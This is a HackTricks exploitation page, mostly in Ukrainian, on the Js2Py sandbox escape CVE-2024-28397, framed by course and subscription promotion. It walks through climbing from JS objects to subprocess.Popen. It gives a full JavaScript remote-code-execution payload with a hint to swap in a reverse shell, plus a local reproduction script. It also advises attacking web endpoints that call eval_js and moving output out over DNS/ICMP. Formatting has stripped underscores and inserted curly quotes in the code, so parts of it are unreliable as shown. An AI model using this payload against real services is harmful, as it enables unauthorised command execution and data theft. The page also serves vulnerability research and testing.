Js2Py sandbox escape (CVE-2024-28397)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Js2Py перетворює JavaScript на Python-об’єкти, тому навіть коли js2py.disable_pyimport() використано, ненадійний JS може пройти через внутрішні механізми Python, щоб дістатися до небезпечних класів, таких як subprocess.Popen. Версії 20.74 дозволяють зловживати примітивами рефлексії Python, які Js2Py експонує JS-об’єктам, щоб отримати RCE з інакше “sandboxed” JavaScript.
Примітив: перехід від обгорток JS-об’єктів до Python-об’єктів
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recover attribute access: grab
.__getattribute__from that object and call it to read arbitrary attributes (e.g.,"__class__"). - Climb to
object: from<class 'dict_keys'>read.__base__to reach Python’s baseobject. - Enumerate loaded classes: call
object.__subclasses__()to walk every class already loaded in the interpreter. - Find
subprocess.Popen: recursively search subclasses where__module__ == "subprocess"and__name__ == "Popen". - Execute a command: instantiate Popen with attacker-controlled arguments and invoke
.communicate()to capture output.
Приклад payload, який зловживає Js2Py для доступу до subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
Чому це працює: Js2Py надає оболонки Python-об'єктів у JS, не затираючи `__getattribute__`, `__class__`, `__base__` або `__subclasses__`. `disable_pyimport()` блокує лише явний `pyimport`, але наведений вище ланцюжок ніколи нічого нового не імпортує; він повторно використовує вже завантажені модулі та класи в пам'яті.
## Відтворення ланцюжка локально
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Дії проти веб-пісочниць
- Будь-який endpoint, який передає керований атакуючим JS у
js2py.eval_js(наприклад, Flask/run_codeAPI) — миттєво RCE, якщо користувач процесу має доступ до shell. - Повернення
jsonify({'result': result})зазнає невдачі, коли.communicate()повертає bytes; декодуйте або спрямовуйте вивід через DNS/ICMP, щоб уникнути обмежень серіалізації. disable_pyimport()не усуває цей ланцюжок; потрібна жорстка ізоляція (окремий процес/контейнер) або усунення виконання ненадійного коду через Js2Py.
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


